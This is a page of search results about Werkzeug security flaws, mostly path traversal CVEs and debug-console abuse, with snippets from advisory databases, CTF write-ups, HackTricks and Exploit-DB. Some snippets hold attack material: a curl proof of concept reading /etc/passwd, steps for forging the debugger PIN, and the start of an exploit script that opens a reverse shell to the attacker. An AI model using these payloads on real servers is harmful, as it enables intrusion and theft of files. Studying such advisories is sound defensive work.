Snyk
security.snyk.io › snyk vulnerability database › pip
Directory Traversal in werkzeug | CVE-2019-14322 | Snyk
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the ...
Veracode
sca.analysiscenter.veracode.com › vulnerability-database › security › 1 › 1 › sid-20917 › summary
Directory Traversal Vulnerability in the werkzeug library
We cannot provide a description for this page right now
Vulnlab
arz101.medium.com › hackthebox-bagel-53f733fc517c
HackTheBox — Bagel - ARZ101 - Medium
June 3, 2023 - | Socks5: | <!DOCTYPE HTML PUBLIC ... Werkzeug/2.2.2 Python/3.10.9 · The port redirects to bagel.htb, so adding that in hosts file ... Going back to home page, we can see it’s include an html page with page parameter, we can try testing for directory traversal/file ...
CTFtime.org
ctftime.org › writeup › 26943
CTFtime.org / b01lers CTF / lorem_ipsum / Writeup
1. Don’t use Werkzeug debugger lol 2. Give the `?animal=` GET parameter something unexpected (`?animal=blah`) and get yourself a traceback with a python console (Werkzeug lol) 3. Oh wait it’s PIN protected 4. Nevermind you can generate the pin yourself 5. Directory-traversal though `?animal=` parameter for linux files (like `?animal=/../../sys/class/net/eth0/address`) 6.
Snyk
security.snyk.io › snyk vulnerability database › pip › werkzeug
werkzeug 2.2.2 | Snyk
Security vulnerabilities and package health score for pip package werkzeug 2.2.2
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
The PIN generation mechanism can be studied from the Werkzeug source code repository, though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies. To exploit the console PIN, two sets of variables, probably_public_bits and private_bits, are needed: username: Refers to the user who initiated the Flask session. ... getattr(mod, '__file__', None): Represents the full path to app.py within the Flask directory (e.g., /usr/local/lib/python3.5/dist-packages/flask/app.py).
Versioneye
versioneye.com › Python › werkzeug › 0.11
Python/werkzeug/0.11
Affected versions: ["0.15.2", "0.15.1", "0.15.0", "0.14.1", "0.14", "0.13", "0.12.2", "0.12.1", "0.12", "0.11.15", "0.11.14", "0.11.13", "0.11.12", "0.11.11", "0.11.10", "0.11.9", "0.11.8", "0.11.7", "0.11.6", "0.11.5", "0.11.4", "0.11.3", "0.11.2", "0.11.1", "0.11", "0.10.4", "0.10.3", "0.10.2", "0.10.1", "0.10", "0.9.6", "0.9.5", "0.9.4", "0.9.3", "0.9.2", "0.9.1", "0.9", "0.8.3", "0.8.2", "0.8.1", "0.8", "0.7.2", "0.7.1", "0.7", "0.6.2", "0.6.1", "0.6", "0.5.1", "0.5", "0.4.1", "0.4", "0.3.1", "0.3", "0.2", "0.1"] ... Recommendation: Update to version 3.1.5. Werkzeug safe_join() allows Windows special device names ... Werkzeug's safe_join function allows path segments with Windows device names. On Windows, there are special device names such as CON, AUX, etc that are implicitly present and readable in every directory.
SentinelOne
sentinelone.com › home › vulnerability database › cve-2026-21860
CVE-2026-21860: Werkzeug Path Traversal Vulnerability
January 22, 2026 - This vulnerability stems from improper ... of Windows Device Names). The function is designed to safely join untrusted path components to a base directory, preventing path traversal attacks....
Exploit-DB
exploit-db.com › exploits › 50101
Pallets Werkzeug 0.15.4 - Path Traversal - Python webapps Exploit
July 6, 2021 - Due to the way Python's os.path.join() function works on Windows, a path segment with a drive name will change the drive of the final path. TLDR; In Pallets Werkzeug before 0.15.5, SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames lead to arbitrary file download.
GitHub
github.com › RipudamanKaushikDal › projects › issues › 21
Security Vulnerability Found · Issue #21 · RipudamanKaushikDal/projects
This leads to a path traversal attack. The bug can be verified using a proof of concept similar to the one shown below. curl --path-as-is 'http://<domain>/photos//../../../../etc/passwd"' This can be fixed by preventing flow of untrusted data to the vulnerable send_file function. In case the application logic necessiates this behaviour, one can either use the werkzeug.utils.safe_join to join untrusted paths or replace flask.send_file calls with flask.send_from_directory calls.
Author ghost
IBM
ibm.com › support › pages › security-bulletin-vulnerabilities-mongodb-python-nodejs-golang-go-linux-kernel-affect-ibm-spectrum-protect-plus-0
Security Bulletin: Vulnerabilities in MongoDB, Python, Node.js, Golang Go, Linux kernel affect IBM Spectrum Protect Plus
Werkzeug version 3.0.6 contains a patch. CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') CVSS Source: NVD CVSS Base score: 5.3 CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) CVEID: CVE-2024-49767 DESCRIPTION: Werkzeug is a Web Server ...
Snyk
security.snyk.io › snyk vulnerability database › pip
werkzeug | Snyk
Based on project statistics from the GitHub repository for the PyPI package Werkzeug, we found that it has been starred 6,858 times.
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
Global Security Mag
globalsecuritymag.com › vigilance-fr-werkzeug-directory-traversal-via-safe_join-analyzed-on-02-04-2025.html
Vigilance.fr - Werkzeug: directory traversal via safe_join(), analyzed on 02/04/2025 – Global Security Mag Online
June 2, 2025 - An attacker can traverse directories of Werkzeug, via safe_join(), in order to read a file outside the service root path.
HackTricks
hacktricks.boitatech.com.br › pentesting › pentesting-web › werkzeug
werkzeug | HackTricks - Boitatech
September 30, 2021 - You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug __init__.py file on server e.g. python3.5/site-packages/werkzeug/debug/__init__.py. View Werkzeug source code repo, but better to leak source code through file traversal vulnerability since versions likely differ.
GitHub
github.com › rapid7 › metasploit-framework › blob › master › documentation › modules › exploit › multi › http › werkzeug_debug_rce.md
metasploit-framework/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md at master · rapid7/metasploit-framework
APPNAME: The name of the application according to Werkzeug. This is often Flask, DebuggedApplication or wsgi_app. Used along with other information to generate a PIN and cookie. CGROUP: Control group. This may be an empty string (''), for example if the OS running the app is Linux and supports cgroup v2, or the OS is not Linux. If you have path traversal on Linux, this could be read from /proc/self/cgroup
Author rapid7
Snyk
security.snyk.io › snyk vulnerability database › pip
Directory Traversal in werkzeug | CVE-2024-49766 | Snyk
Werkzeug is a WSGI web application library. Affected versions of this package are vulnerable to Directory Traversal due to a bypass for os.path.isabs(), which allows the improper handling of UNC paths beginning with /, in the safe_join() function.
GitHub
github.com › advisories › GHSA-j544-7q9p-6xp8
Pallets Werkzeug vulnerable to Path Traversal · CVE-2019-14322 · GitHub Advisory Database · GitHub
May 24, 2022 - The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname ...
Vulert
vulert.com › vuln-db › CVE-2024-49766
CVE-2024-49766: Werkzeug Path Traversal Vulnerability on Windows
The vulnerability arises from Werkzeug's reliance on the os.path.isabs() function to validate paths. On Windows systems with Python versions earlier than 3.11, this function fails to correctly identify UNC paths (e.g., //server/share) as absolute paths. Consequently, the safe_join function can generate unsafe paths, potentially allowing attackers to access files outside the intended directory.